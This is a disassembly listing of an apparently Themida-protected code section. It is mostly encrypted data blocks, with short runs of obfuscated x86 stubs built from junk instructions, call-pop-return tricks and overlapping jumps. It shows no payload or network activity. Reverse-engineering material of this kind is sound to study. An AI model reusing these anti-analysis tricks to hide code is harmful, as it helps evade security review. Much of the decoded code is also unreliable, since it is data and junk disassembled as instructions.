		dd 122911B5h, 61B5FF06h, 0BA061224h, 14C7FF83h,	850FD0FFh
		dd 1Ah,	0EE8h, 0A0B61C00h, 461E11E6h, 39688575h, 8BEDA838h
		dd 122A7195h, 0BD8B5E06h, 6122461h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 0D9C35242h,	3F71E2F6h, 7F03EA85h
		dd 53006A3Ch, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 3D958B9Fh, 81061216h, 0F8C7h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 0BD897FC0h, 6120739h, 14319523h, 47C70612h, 2024h, 8F0F60h
		dd 83000000h, 1A4E98BDh, 840F0006h, 158h, 12E9h, 40769500h
		dd 0C2A1AA40h, 0C15CDA2Eh, 81B6EF30h, 9D89BA2h,	121A199Dh
		dd 28C78306h, 2F31B58Bh, 7C70612h, 64696A2Eh, 7800Fh, 8F0F0000h
		dd 1, 447C7F8h,	617461h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Bh, 80C35141h, 0A06DECDEh, 81781477h, 1170EFCEh
		dd 95B58B68h, 66061233h, 858BF78Bh, 61A4EA0h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 65C35242h, 18CDD10Ah
		dd 89D79AD0h, 85890C47h, 612161Dh, 4EA4858Bh, 6A061Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 8958B3C3h, 8F0F0847h, 1, 28C783F9h, 12E853h,	6BD0000h
		dd 0F5F31FC3h, 7F6F06D1h, 0F0979828h, 54A7423Eh, 5A5AD78Bh
		dd 632E07C7h, 47C76E6Fh, 67696604h, 0CDB58B00h,	0E8061203h
		dd 0Bh,	0DAA226D6h, 20CF1E58h, 89B7E5F7h, 120B1D85h, 858B5A06h
		dd 61A4E9Ch, 3235958Bh,	0BF0F0612h, 0C4789F7h, 56AD5ABEh
		dd 98858B15h, 6A061A4Eh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 3F09C357h, 84789ADh
		dd 798D2958h, 8B061202h, 498D8DD6h, 6A06120Fh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 3F5C357h, 7FD754Eh, 0F38B50F8h, 9150915Eh, 398D8B60h
		dd 8B061222h, 122E0995h, 0B5FF6106h, 612293Dh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 88C35343h, 958BE4DEh
		dd 612088Dh, 4E8h, 100000h, 11E900h, 8A20000h, 40130599h
		dd 4266007h, 0FFEA5113h, 50C989CAh, 0B238BA66h,	424448Bh
		dd 8BF78Bh, 4244489h, 58D78B66h, 1D9D9D09h, 0B5FF0612h
		dd 6122461h, 13E9h, 77EFD700h, 0E6A43D4Dh, 4BA5DBADh, 0A8614B2Ah
		dd 1C42C56Ch, 6AD0FFh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 33B47AC3h, 60C3A14Dh, 8B2EB7C2h
		dd 12122595h, 0B8C6B206h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_6010EF
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_6010EF	proc near		; CODE XREF: Themida_:006010E7p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_6010EF	endp

; ---------------------------------------------------------------------------
		db 8Ah
		db 0F0h, 8Bh, 0FFh
		db 0E5h
		dd 6F01CFh, 0B5E50DBh, 1D840FC0h, 66000000h, 0A0F6E281h
		dd 3321B5FFh, 0B58B0612h, 61202D9h, 278195FFh, 8D310612h
		dd 6120341h, 88BAC08Bh,	8B456E20h, 1220D195h, 1BD8306h
		dd 6122Fh, 0BD830975h, 6122149h, 50197400h, 0B8C08B53h
		dd 42Dh, 2B98589h, 9D8D0612h, 614AD70h,	585BD3FFh, 2149BD83h
		dd 74000612h, 0B8535017h, 42Dh,	2B98589h, 9D8D0612h, 614AA11h
		dd 585BD3FFh, 9E8h, 0F1A8AC00h,	25907A57h, 0BF0F27E0h
		dd 8D295ED1h, 6120899h,	6AC08Bh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 3B5568C3h, 8B9761C0h
		dd 1202A5B5h, 8DC08B06h, 1A58398Dh, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 500A5ACDh
		dd 3866570Dh, 81661ACFh, 894769F7h, 122DCD8Dh, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 0B706692Ch, 0F1A20792h, 0BD85C7A9h, 38061231h, 6A00006Bh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 9232C356h, 46F76BB4h, 1F459589h, 0EB800612h
		dd 1185C73Dh, 61200h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 991CC352h, 592B0521h
		dd 8B73EABDh, 1228B195h, 31B5FF06h, 6A061224h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 6023C356h, 65E11C62h, 39C28166h, 8195FF06h, 6A061227h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 83AC353h,	511CF201h, 8B61541Dh, 121C7D9Dh
		dd 6840F06h, 89000000h,	1210A9B5h, 12E906h, 0E9EE0000h
		dd 0AFB2EA12h, 1B59A143h, 7B5C14FBh, 0FE0BA0F1h, 95FF006Ah
		dd 61229D1h, 58EBC08Bh,	0FCE283C2h, 2AE3680Fh, 6CB196F3h
		dd 58F8267Ch, 0F21F3CACh, 377088DAh, 757CF1FFh,	366B1573h
		dd 0E3E68226h, 396AD008h, 0FB8D954Ah, 3FF30996h, 84F30017h
		dd 0DE423FB8h, 12A3F7BEh, 8B6A4A8Ch, 0F6C4A889h, 0E8465B27h
		dd 0C5FEF7B3h, 0A126678Ch, 0B727D266h, 14708F7Dh, 12E8h
		dd 0FA49E400h, 87811541h, 0BE883819h, 0C3A988F9h, 8B427C28h
		dd 122FC99Dh, 8B665906h, 0BAC181C7h, 60000061h,	2B61F98Bh
		dd 18B0FD2h, 0F9000000h, 890A34FFh, 122D6D8Dh, 89575E06h
		dd 1230999Dh, 0F6815806h, 39655B63h, 0C6810EB3h, 659CB133h
		dd 0EE81C28Bh, 0A0840B2h, 89113489h, 121DD19Dh,	0E8BB6606h
		dd 1EA8370h, 12E9h, 46807B00h, 1B65EA77h, 4FBEE627h, 5CB78012h
		dd 4A0717CCh, 0B8664A4Ah, 0FA812778h, 0FFFF9F0Ch, 1C850Fh
		dd 0D8810000h, 6F901CFCh, 2EE9h, 0F1CEA600h, 6080859Dh
		dd 98A706D9h, 90229DFCh, 0F60DBBDh, 587h, 854AB900h, 0E96109DFh
		dd 0FFFFFF70h, 0F34A67F0h, 3CD26DB6h, 8DCE12C5h, 1A5A408Dh
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 8D769851h, 71BA815Eh, 2DCD8D89h,	0F560612h
		dd 198Eh, 14E900h, 5F920000h, 7C2291E0h, 0E91CEA9Ch, 0EAD2BBE0h
		dd 4F9137F2h, 0C75B9D4Fh, 1231BD85h, 6B0C06h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 85C7DE33h, 6120011h,	0
; ---------------------------------------------------------------------------
		jmp	loc_6014D9
; ---------------------------------------------------------------------------
		fisub	dword ptr [ebx+2Eh]
		leave
		sub	eax, 0B237442h
		xor	edi, edx
		xor	edi, [ebx]
		imul	byte ptr [edx-4572E541h]


loc_6014D9:				; CODE XREF: Themida_:006014C0j
		push	dword ptr [ebp+6120C89h]
		mov	bx, dx
		call	dword ptr [ebp+6122781h]
		push	0
		push	edx
		call	sub_6014F3
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_6014F3	proc near		; CODE XREF: Themida_:006014EBp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_6014F3	endp

; ---------------------------------------------------------------------------
		mov	edx, 0E5E0B3C3h
		dec	edx
		leave
		mov	eax, ds:0BBF3B70Fh
		jl	short near ptr loc_601515+2
		mov	al, 5
		push	0


loc_601515:				; CODE XREF: Themida_:0060150Fj
		call	dword ptr [ebp+61229D1h]
		mov	eax, eax
		jmp	short loc_601569
; ---------------------------------------------------------------------------
		db 3Fh
		dd 167A5511h, 1B6C9624h, 0E7D104CCh, 0E5F642h, 0E44856B1h
		dd 0FBC84ADAh, 10180D43h, 0ACCF5A40h, 43809EE5h, 0BEC35740h
		dd 92FD8E82h, 0EF888F85h, 0FC568DFEh, 0D0461323h, 37616078h
		dd 890CD9B6h, 0A24753ABh, 20F540B1h
		db 1Dh
; ---------------------------------------------------------------------------


loc_601569:				; CODE XREF: Themida_:0060151Dj
		jmp	short $+2
		jmp	loc_6019C4
; ---------------------------------------------------------------------------
		dd 0D5AB5DCh, 0AAF71874h, 49967911h, 0E330DFB0h, 7FCC434Ah
		dd 0C5C8268Fh, 2764FD4Ah, 8E029BE8h, 0F39B3481h, 0A6F5CF1Ch
		dd 0F9B9E99Eh, 0E7BD9A4Dh, 92F5FD14h, 0F147DF5Fh, 4A4253E6h
		dd 601E6971h, 525D47DFh, 76BD8029h, 2F9AF61Ah, 0D84149E2h
		dd 949C5BB4h, 47DFFBF3h, 0CD1A8590h, 67B45B34h,	9521EF70h
		dd 0B629FED5h, 947B1223h, 30DFAE47h, 5833ECE3h,	781324B7h
		dd 0EC21EEA1h, 6EEFAE19h, 91C8222Eh, 939023C8h,	2C7996FAh
		dd 0C714FB93h, 0F71ECBDFh, 2B666D49h, 0BFF41B72h, 464859ECh
		dd 0C4CB94C9h, 4E7D164Bh, 0C6B530CDh, 4BDE0FD6h, 6DBA553Ah
		dd 5B1A0710h, 154B3C44h, 2D384DF9h, 1621666Eh, 57624DF9h
		dd 853E55C4h, 1272050Ah, 500B3C68h, 0FF174C57h,	47EAFD8Ch
		dd 7DB25D2Eh, 0FE394E56h, 3F4A47EAh, 2C61AEDEh,	0C318C94Dh
		dd 2B627F9Bh, 22B760ABh, 15680h, 2109100h, 0FAE6F441h
		dd 720D3BCEh, 0B5BFF41Bh, 605D5E66h, 7D4647DFh,	0DD77C57Fh
		dd 66A9E15Eh, 925B90FBh, 2DC613FCh, 0C0A6F061h,	802D3E50h
		dd 0F8CB000Fh, 0C1C6CE8Dh, 0C247E032h, 0F0174CB7h, 32B6D1D9h
		dd 0BAC547E0h, 5C495227h, 67A8E49Dh, 0EB246932h, 0B978E3B6h
		dd 0E032D6B1h, 79AA547h, 4F5E9098h, 5E6949F2h, 48EB1E9Fh
		dd 0E2FAD20Bh, 0B3C26A4Fh, 457A95FAh, 4E93DF72h, 5514FB93h
		dd 8D20EF9Ch, 0E72A3390h, 0F200A8DFh, 65D0DB4Dh, 70788FA6h
		dd 4DF20117h, 8AFD0564h, 0F94DF200h, 0BCC483EEh, 4DF200CBh
		dd 0BA1AADB8h, 50042978h, 0C0E71C27h, 7C6F423Fh, 0F4C7FC13h
		dd 45CB0CBh, 0E22D6071h, 7E91FC95h, 8B8406BFh, 6A228356h
		dd 0A02D12A5h, 0E2EAA996h, 47DF62F5h, 318EDBE6h, 637A3928h
		dd 6343444Ch, 3F4047DFh, 0BC8FC44Bh, 0FD8A9251h, 7E47DF62h
		dd 0A280E073h, 8D49F185h, 6542C382h, 0FBDA9150h, 3267A8E4h
		dd 7C61F45Fh, 0E835DAB3h, 9CD13E4Fh, 3839F475h,	92E52CBDh
		dd 15A813FCh, 1E8B3640h, 0E0FFD84Dh, 838B4AB5h,	4DF1E750h
		dd 0E52A631Ch, 0B2FF0A52h, 3F763ABBh, 8BF5D580h, 0F1FC0483h
		dd 16C774Dh, 0E9305D6Eh, 66396EA1h, 0AEF8AEFBh,	0F901C0A5h
		dd 49F1782Dh, 4F184D58h, 1383D03Fh, 533BF4FFh, 21B487BCh
		dd 9E5D424Ch, 4FC0CE87h, 0F177E89Fh, 0FD909B4Dh, 776F1CFCh
		dd 434B4DF1h, 0C18C0DCCh, 7D92FD92h, 6C4C7548h,	0B8B54829h
		dd 0E5A2AAC1h, 964DF22Fh, 0A7E7F88Bh, 246A3368h, 9098662Dh
		dd 76E1C6D3h, 3DE6241h,	1C69A6E8h, 81060E25h, 0DB4DF1CCh
		dd 0F1CCB4D3h, 24BCC74Dh, 0B9198619h, 6E24AE93h, 4Dh, 59314C0h
		dd 34535BAEh, 4747DFB4h, 38C2133Ch, 818A5FF2h, 21CDD594h
		dd 2449F25Bh, 0EAA15A19h, 86AD9225h, 5B20676Fh,	58634DF2h
		dd 467B94F7h, 0BFCFE073h, 727A9150h, 4DF25B15h,	0CBC85B66h
		dd 0A06F1BD4h, 0F605986Bh, 18h,	305B1460h, 44D7AADFh, 7EB35C33h
		dd 3F78D9B5h, 0C90AB7E8h, 3CF23FAAh, 0A5F21D72h, 0A2AD5444h
		dd 0C567294Dh, 30156E76h, 535E47E0h, 0D639551Eh, 31EAF9A1h
		dd 0A97CB15Eh, 74178280h, 17AA6F0Ah, 3B8A16CBh,	0DF745033h
		dd 6C222347h, 309B6EA3h, 48D95A71h, 0FA157653h,	0FE1DF8D1h
		dd 3C02D36h, 0B346B17Ah, 0DF803453h, 25672047h,	0C7798F4h
		dd 0D9263179h, 74C14E40h, 23A841A0h, 0D1000000h, 89B7418h
		dd 351C72DAh, 0A98A816Ch, 22354D30h, 0C52C567Fh, 0A55E1D88h
		dd 0B19629E6h, 1C69A6E8h, 1F724533h, 9CF2BBF0h,	1B753E73h
		dd 95F6BFF4h, 117C457Ah, 8D00C9FEh, 0B844D82h, 8406CF04h
		dd 0FF8D568Bh, 56D4DB10h, 0C681E689h, 4, 8704EE83h, 895C2434h
		dd 0CE682404h, 89000068h, 9B68242Ch, 89000054h,	0BE56240Ch
		dd 61A5A96h, 24048156h,	0FB859A0h, 0A0ED815Dh, 5E0FB859h
		dd 240C8B54h, 8304C483h, 148904ECh, 8BA24h, 0CA010000h
		dd 0FF5A2A89h, 81592434h, 4C4h,	2434FF00h, 4C4835Dh, 0F82220E9h
		dd 0B9B7D3FFh, 0FBD76A8Eh, 7CEA7C90h
; ---------------------------------------------------------------------------


loc_6019C4:				; CODE XREF: Themida_:0060156Bj
		mov	eax, 61A5E79h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 2, 41h, 88h
		dd 0BEF1055h, 0D483EA61h, 5C7FC820h, 648A1B63h,	0D7D27838h
		dd 6724851Ch, 0CABF0F2Ah, 11E9h, 0D4193B00h, 51CB2B9Fh
		dd 470ECA52h, 7CAA1DB7h, 6E94AC4h, 4E000000h, 1F01DF5Bh
		dd 0FFA8B61h, 48Ah, 0A0BA6600h,	13E8FEh, 43940000h, 0D1239AB4h
		dd 1D17684h, 4D03A219h,	9D9042F1h, 0C38B66EEh, 0F7F78158h
		dd 666BD517h, 0E9C794BEh, 0Dh, 0EC96A46Dh, 26BFDEE5h, 0D883D89h
		dd 13E97Fh, 43AD0000h, 8E7539DFh, 460114EEh, 0BC62C0A6h
		dd 1478D424h, 2800FBBh,	8B000000h, 0E78166C7h, 66560849h
		dd 0F59FB8Bh, 181h, 6660FC00h, 6661CF8Bh, 8B65D681h, 28A0Fh
		dd 0EB8A0000h, 0BFBBC58Ah, 8B3ECCB7h, 0CC80F9F0h, 0BE9D0h
		dd 0BE1A0000h, 745FC61Bh, 22EA62EEh, 0BA665167h, 0F85AE02Eh
		dd 50CB8166h, 0F88B663Bh, 13E860h, 4ADF0000h, 0DC5808DBh
		dd 0BA8E8909h, 0DEFAE468h, 9D50BA26h, 0BF0F5A2Eh, 820F61D8h
		dd 2, 0EB819CB0h, 33172E63h, 8D0Fh, 12E90000h, 0BA000000h
		dd 7606F605h, 0E29622F3h, 0EDBA55D1h, 57F3213Fh, 0C1B70F3Ch
		dd 0EE9h, 2FAB4500h, 23EA0DB5h,	673BA2E1h, 668CC7EFh, 0FCF063B9h
		dd 0AD04C181h, 0BE66379Dh, 0E953AF2Ch, 7, 0AF39C932h, 5EAB0340h
		dd 11E9h, 2ED7E700h, 0CE700995h, 0E335F5Bh, 47FCDA4Eh
		dd 0EE98BC5h, 0C1000000h, 9CD1CBABh, 0CA593E29h, 6EED83C3h
		dd 8E8F50Bh, 14000000h,	23C6A714h, 0F4E175Dh, 0D86h, 8E900h
		dd 0E5810000h, 0AF7AA451h, 0BE5B08FBh, 621A2348h, 6A32E181h
		dd 8B664E6Dh, 51F78BF2h, 0C8C0F5Fh, 0E9000000h,	7, 1236CF04h
		dd 81C7D401h, 0FDF664E2h, 0E9D98B6Ah, 0Ah, 2399BE28h, 737B769Eh
		dd 0DE9C543h, 62000000h, 42112224h, 78C933F0h, 0D32B87B3h
		dd 12E9h, 6D881D00h, 3656A724h,	0D6530C9Bh, 0C68DEE39h
		dd 0FE1FAE9h, 0B866D7BFh, 14E8D2EDh, 0C0000000h, 47C6AE5h
		dd 22E3E081h, 2DE624A6h, 0BC4B97E9h, 6605DF7Fh,	0E85EC18Bh
		dd 6, 0E0B5F879h, 6E90897h, 0C4000000h,	397A66F9h, 0AE95FBAh
		dd 0B8000000h, 0F120F9E6h, 7B3A095Fh, 0BE927h, 0EEBF0000h
		dd 7007D0BBh, 7B356F1Ch, 0DE988h, 9C580000h, 3F3AD5E6h
		dd 737795D4h, 0F5B6F09Fh, 0F557D18Bh, 0B70F6059h, 11E9C6h
		dd 1A30000h, 0F42AAAFBh, 0E0C0341Ah, 47351328h,	6132B124h
		dd 0DE97EB0h, 6F000000h, 0A011B041h, 5B1A1EBh, 833C903Bh
		dd 0CE9h, 0F284DD00h, 2776EC1h,	0D99F92FFh, 66C18BABh
		dd 8B78A2BFh, 0DCBE66C6h, 5D1CB9BDh, 8B6673A4h,	0BE8C3h
		dd 0D8000000h, 9AE53097h, 977946CAh, 0F6B70FDBh, 0CE95Eh
		dd 2A6C0000h, 0BA3CD946h, 0B91CDA6Eh, 870F77B5h, 8, 2890Fh
		dd 0C18B0000h, 81BA6657h, 5E95EE5h, 6E000000h, 1DBEC4B0h
		dd 92D98166h, 5EF9501Fh, 9EDA8166h, 0A2A7B8B0h,	81663C16h
		dd 664CEDD1h, 56BFDA8Bh, 0E95A3AC0h, 6,	6AF3BEC2h, 0EE8F99Ah
		dd 67000000h, 0EE631A1Dh, 0CEE0F697h, 0E7226ACBh, 0B9A5BB9Dh
		dd 0E95A28F5h, 12h, 25F004h, 0B9053FF1h, 49135C2Ch, 307AF74Fh
		dd 840F244Eh, 5, 0E0201FB9h, 92BA660Dh,	0BE9DAh, 724E0000h
		dd 0E4044E4h, 0CA73D45Dh, 0F93B425h, 384h, 0FFB70F00h
		dd 5A77BE66h, 810Fh, 890F0000h,	2, 8E8E78Ah, 2000000h
		dd 0E5054333h, 8B7C795Dh, 8B665FF8h, 4584BEF7h,	0F98B545Eh
		dd 2830Fh, 43B10000h, 10E9FCh, 0F0230000h, 2AAC7E0Ah, 6F853206h
		dd 57F24A04h, 81FCA945h, 43F6D1DAh, 0FDE8B34h, 284h, 8ADA8B00h
		dd 8E9D8h, 6CBD0000h, 24CFC288h, 8B663C39h, 0D08052D1h
		dd 0EE95961h, 0CD000000h, 0ECC59E90h, 98BC1602h, 2111F3FBh
		dd 81B8B30Dh, 831513C9h, 8B66605Eh, 6145B2DEh, 0AD0FBA66h
		dd 0B820FF5h, 0F000000h, 583h, 98DEBB00h, 8B6603B6h, 0CB8B66D1h
		dd 9E8h, 0A3D57900h, 48402EA8h,	6660B9BEh, 0F87D5BBBh
		dd 0BE85961h, 0EE000000h, 3AAF936Ch, 0AC54B2A1h, 0C88A2538h
		dd 890F605Bh, 4, 0B732BE66h, 12E9h, 0C47CAA00h,	94CFB24Ah
		dd 0E19663C2h, 2A8E795Fh, 6191EBF0h, 2E98166h, 0CDB8668Eh
		dd 0C7BA660Ch, 0B8A0F97h, 0F000000h, 580h, 0C94DBB00h
		dd 8B0F10D9h, 8, 70CE8152h, 5A6A73D8h, 91FEF681h, 0B8662CDFh
		dd 810F5962h, 5, 7CD4CB9h, 5E939h, 379F0000h, 66998A94h
		dd 0CA81CE8Bh, 61CA8FD9h, 0E68166FCh, 0B70F437Fh, 0CE9D2h
		dd 0D1070000h, 7F933C80h, 3D17526Ch, 880FC7B6h,	0
		dd 0FFB8B66h, 48Eh, 0C18B5200h,	0F38B665Ah, 0AE8h, 0AA72EC00h
		dd 1A852F3Bh, 0FCE6CBBh, 688h, 8D0F00h,	5E000000h, 66CC0ABBh
		dd 0E8B8666Fh, 93B1BB19h, 0FE90700h, 19000000h,	0DB60B255h
		dd 1228296Eh, 2871F593h, 8166D58Ah, 0F6961C6h, 58Ch, 0DF816600h
		dd 860F4488h, 0
		dd 0FBC781F9h, 6040CAB0h
; ---------------------------------------------------------------------------
		mov	bh, ah


loc_601F56:				; CODE XREF: Themida_:00601F6Ej
		cmc
		popa
		adc	si, 0CD05h
		sub	ax, 0D7BFh
		pusha
		movzx	eax, dx
		mov	ecx, edi
		popa
		call	sub_601F76
		jbe	short loc_601F56
		pop	ds
		cld
		fidiv	dword ptr [edx-68h]
; ---------------------------------------------------------------------------
		db 0E1h

; =============== S U B	R O U T	I N E =======================================



sub_601F76	proc near		; CODE XREF: Themida_:00601F69p
		mov	bl, 12h
		pop	edi
		jmp	loc_601F86
; ---------------------------------------------------------------------------
		xchg	ebp, [ebx+78h]
		cmc
		dec	eax
		pop	ebp
		db	3Eh
		movs	dword ptr es:[edi], dword ptr ds:[esi]


loc_601F86:				; CODE XREF: sub_601F76+3j
		pusha
		call	sub_601F9B
		mov	dh, 36h
		mov	ebx, 0F179C8D8h
		setalc
		pop	edi
		inc	esp
		pop	ebp
		add	bl, ch
		mov	cl, 69h
sub_601F76	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_601F9B	proc near		; CODE XREF: sub_601F76+11p
		jmp	sub_601FAA
sub_601F9B	endp

; ---------------------------------------------------------------------------
		mov	dword ptr [edx], 0E6F253C8h
		push	ebx
		push	eax
		pop	esp
		push	edi

; =============== S U B	R O U T	I N E =======================================



sub_601FAA	proc near		; CODE XREF: sub_601F9Bj
		pop	ebx
		movsx	eax, ax
		popa
		sub	di, 0D870h
		mov	ah, cl
		and	bh, 0D2h
		mov	dx, 5A7Ch
		mov	ax, dx
		movzx	ecx, bx
		adc	cx, 0CCB0h
		call	near ptr sub_601FDB
		sub	eax, 6B94A612h
		pop	ss
		fcomp	st(6)
		adc	[esi-67h], dl
		or	eax, [ecx]
		xchg	eax, ebx
sub_601FAA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_601FDB	proc far		; CODE XREF: sub_601FAA+1Ep
		push	esi
		mov	si, 0ACDBh
		pop	edx
		pop	eax
		push	ebx
		pusha
		jp	$+6
		adc	dl, 74h
		popa
		pop	ecx
		mov	eax, ecx
		jmp	loc_60200A
; ---------------------------------------------------------------------------
		fadd	qword ptr [esi-360CCC4Eh]
		cmp	al, bl
		lahf
		pop	dword ptr [edx+272C6AF5h]
		popa
		lodsb
		mov	bh, 0E8h
		dec	edx


loc_60200A:				; CODE XREF: sub_601FDB+16j
		xor	esi, 2CAE57B3h
		or	ch, 62h
		jmp	loc_602025
; ---------------------------------------------------------------------------
		jnp	short loc_602037
		inc	esi
		retf	0ECBAh
; ---------------------------------------------------------------------------
		dw 4B89h
		dd 0F5E0E37Eh
		db 0C0h
; ---------------------------------------------------------------------------


loc_602025:				; CODE XREF: sub_601FDB+38j
		xor	ebx, 4A5BEA56h
		jz	loc_602033
		mov	ch, 87h


loc_602033:				; CODE XREF: sub_601FDB+50j
		clc
		mov	ax, di


loc_602037:				; CODE XREF: sub_601FDB+3Dj
		pusha
		mov	esi, eax
		cmc
		popa
		and	di, 0D50Bh
		mov	dx, 8BC5h
		mov	bx, 35EBh
		movsx	esi, dx
		and	edi, 2793DDDBh
		jmp	loc_602067
; ---------------------------------------------------------------------------
		db 0E6h
; ---------------------------------------------------------------------------
		mov	edx, 1C3F3210h
		sub	al, 51h
		dec	ebp
		db	67h
		and	ecx, 7D888DD0h


loc_602067:				; CODE XREF: sub_601FDB+77j
		sbb	cl, 98h
		adc	edx, 4278C3ADh
		push	eax
		mov	edx, 638D45F1h
		pop	esi
		jmp	loc_602087
; ---------------------------------------------------------------------------
		retn	6C7Dh
; ---------------------------------------------------------------------------
		db 48h
		dd 7243AA2Ah
		db 47h,	0ABh, 21h
; ---------------------------------------------------------------------------


loc_602087:				; CODE XREF: sub_601FDB+9Cj
		pusha
		push	esi
		movsx	eax, ax
		pop	esi
		pusha
		jo	$+6
		mov	ah, bl
		popa
		popa
		adc	ax, 0BB7Dh
		movsx	eax, dx
		cld
		add	dx, 0CC7Ch
		push	ebx
		pop	ebx
		mov	ah, 5Fh
		jmp	loc_6020BE
; ---------------------------------------------------------------------------
		db 0E3h
		dd 0FF54839Ch, 0C715D734h, 63380AB2h
		db 44h,	11h
; ---------------------------------------------------------------------------


loc_6020BE:				; CODE XREF: sub_601FDB+CFj
		push	ebx
		mov	bl, 0Ah
		pop	edx


loc_6020C2:				; CODE XREF: sub_601FDB+124j
		clc
		pusha
		push	edx
		mov	edi, 1A18EA8h
		pop	eax
		popa
		sub	bl, 0C8h
		mov	edx, ebx
		mov	ebx, edx
		jmp	loc_6020EC
; ---------------------------------------------------------------------------
		dd 6071BDD6h, 0C3F688E0h, 0A608A90Fh, 997EC1E2h, 3B49B763h
; ---------------------------------------------------------------------------


loc_6020EC:				; CODE XREF: sub_601FDB+F8j
		movzx	ebx, bx
		mov	ah, cl
		pusha
		call	near ptr loc_602106+1
		mov	edi, [eax-33B34A94h]
		out	17h, eax
		js	short loc_6020C2
		mov	ah, 50h
		aaa
		fxch7	st(5)


loc_602106:				; CODE XREF: sub_601FDB+117p
		mov	byte ptr [ecx-3F4E4818h], 78h
sub_601FDB	endp ; sp-analysis failed

		pop	eax
		jl	loc_602116
		push	esi
		pop	edx


loc_602116:				; CODE XREF: Themida_:0060210Ej
		popa
		jmp	loc_602123
; ---------------------------------------------------------------------------
		lodsd
		pop	ds
		cmp	eax, 0B9903ECEh


loc_602123:				; CODE XREF: Themida_:00602117j
		mov	cx, 6B80h
		sub	ax, 38Dh
		jmp	loc_602142
; ---------------------------------------------------------------------------
		db 16h,	66h, 49h
		dd 59A42E84h, 7AC70D40h, 0E80D1360h
		db 0C0h, 94h
; ---------------------------------------------------------------------------


loc_602142:				; CODE XREF: Themida_:0060212Cj
		mov	ax, cx
		ja	loc_602156
		jno	loc_602156
		mov	edx, 3206C4FCh


loc_602156:				; CODE XREF: Themida_:00602145j
					; Themida_:0060214Bj
		jmp	loc_60216D
; ---------------------------------------------------------------------------
		db 0FDh
		dd 3C0489CFh, 9F6178B7h, 434371DEh, 9FB1BB15h
		db 2Eh
; ---------------------------------------------------------------------------


loc_60216D:				; CODE XREF: Themida_:loc_602156j
		movzx	ebx, di
		mov	ax, bx
		or	bl, 28h
		mov	dh, al
		jbe	loc_602181
		movzx	edx, bx


loc_602181:				; CODE XREF: Themida_:00602178j
		jmp	loc_60218C
; ---------------------------------------------------------------------------
		or	[eax+5Ch], esi
		pop	es
		pushf


loc_60218C:				; CODE XREF: Themida_:loc_602181j
		mov	di, si
		mov	esi, 6F09214Ch
		or	dx, 0FDD5h
		pusha
		clc
		mov	cx, bx
		popa
		mov	di, dx
		xor	si, 7C3Fh
		pusha
		adc	esi, 51E24241h
		popa
		mov	esi, 3AADA6D1h
		mov	si, di
		jg	$+6
		add	ax, 7DAh
		xor	di, 0C3A5h
		jbe	loc_6021D0
		add	ah, 0CFh


loc_6021D0:				; CODE XREF: Themida_:006021C7j
		jmp	loc_6021DB
; ---------------------------------------------------------------------------
		db 0F2h, 6Ch, 0B7h
		db 28h,	80h, 0EDh
; ---------------------------------------------------------------------------


loc_6021DB:				; CODE XREF: Themida_:loc_6021D0j
		mov	ebx, 6D6A4EDAh
		mov	cl, bh
		jmp	loc_6021F1
; ---------------------------------------------------------------------------
		db 94h
		dd 56BDED60h, 85BD42ACh
		db 0E0h
; ---------------------------------------------------------------------------


loc_6021F1:				; CODE XREF: Themida_:006021E2j
		mov	di, 8D59h
		sub	eax, 0BBDBF4Bh
		mov	ax, 99AEh
		mov	si, 8DDCh
		sub	di, 0A94Eh
		stc
		mov	bl, al
		stc
		mov	ax, 0B756h
		pusha
		mov	si, 415Eh
		clc
		popa
		pusha
		mov	dh, 37h
		mov	di, 0F26Ah
		popa
		mov	edx, esi
		ja	loc_60222A
		mov	di, dx


loc_60222A:				; CODE XREF: Themida_:00602221j
		mov	dh, 78h
		mov	ax, si
		push	esi
		or	ebx, 0EAEFE69h
		pop	edi
		pusha
		pusha
		adc	esi, 72925016h
		popa
		jmp	loc_60224D
; ---------------------------------------------------------------------------
		db 0A1h, 0F9h, 59h
		dd 210F2B43h
		db 0A3h
; ---------------------------------------------------------------------------


loc_60224D:				; CODE XREF: Themida_:00602240j
		popa
		jnp	loc_602259
		mov	ebx, 1818DD21h


loc_602259:				; CODE XREF: Themida_:0060224Ej
		mov	di, ax
		jmp	loc_602268
